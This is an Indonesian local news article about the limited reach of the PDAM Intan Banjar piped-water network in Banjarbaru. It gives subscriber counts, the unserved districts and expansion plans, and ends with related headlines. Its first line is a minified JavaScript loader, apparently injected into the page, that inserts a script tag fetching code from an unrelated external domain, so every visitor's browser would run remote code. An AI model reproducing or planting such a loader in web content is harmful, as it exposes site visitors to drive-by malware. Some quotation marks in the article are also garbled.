(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Belum seluruh wilayah di kota Banjarbaru terjangkau pelayanan air bersih. Hal ini terlihat dari cakupan pelayanan Perusahaan Daerah Air Minum (PDAM) Intan Banjar yang masih belum dapat mencapai 100 persen.
Kabag Hubungan Langganan PDAM Intan Banjar, Hujaimah Sanusi SE mengatakan, saat ini total jumlah pelanggan mencapai 86 ribu sambungan rumah (SR). Ia merincikan untuk di kota Banjarbaru sendiri mencapai 51 ribu SR, sedangkan Kabupaten Banjar sebanyak 35 SR.
“Khusus di kota Banjarbaru sudah mencapai 75 persen dari jumlah penduduk. Jadi masih ada 25 persen yang belum, totalnya 48 ribu SR terlayani melalui bukan jaringan perpipaan (sumur galian),” ujarnya, Selasa (18/6).
Dari pemetaan, tercatat lokasi yang belum terlayani jaringan perpiapan PDAM Intan Banjar hingga saat ini hanya ada berada di sebagian wilayah lingkup 4 kecamatan yakni Kecamatan Landasan Ulin, Banjarbaru Selatan, Cempaka, dan Liang Anggang.
Hal ini diakui Hujaimah, selain masih adanya masyarakat yang nyaman memfungsikan sumur galian, juga karena jaringan pipa air PDAM yang masih belum menjangkau di wilayah-wilayah tersebut.
“Untuk pengembangan jaringan pipa kita usahakan agar tercapai kedepannya khususnya di area pengembangan Bandara Syamsudin Noor, Cempaka dan Landasan Ulin,†lanjutnya.
Pertumbuhan pelanggan PDAM Intan Banjar, setiap tahunnya sejak tahun 2014 sampai sekarang, rata-rata mencapi 8 ribu SR. Jumlah ini berhasil dipertahankan, salah satunya lewat topangan program pemerintah daerah yakni pemasangan sambungan air gratis.
Tercatat, dari hasil realisasi program pemerintah daerah tersebut berhasil menarik 600 hingga 1.000 SR yang berlangganan di PDAM Intan Banjar. Sebagian lagi, memilih untuk memasang secara reguler dengan total mencapai 7 ribu SR.
Dijelaskan Hujaiman, pihak PDAM Intan Banjar optimis target cakupan pelayanan mencapai 100 persen. Namun ia juga menyadari kondisi wilayah di Banjarbaru yang membuat pihaknya dituntut untuk terus melakukan perluasan jaringan pipa.
“Kita berkembangnya menurut perkembangan penduduk dan lokasi perumahan yang dibangun. Ketika kita membangun jaringan pipa di sini, mereka membangun jauh di luar eksist kita, ini artinya bukan menghambat tapi selalu menuntut kita untuk melakukan ekspansi,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.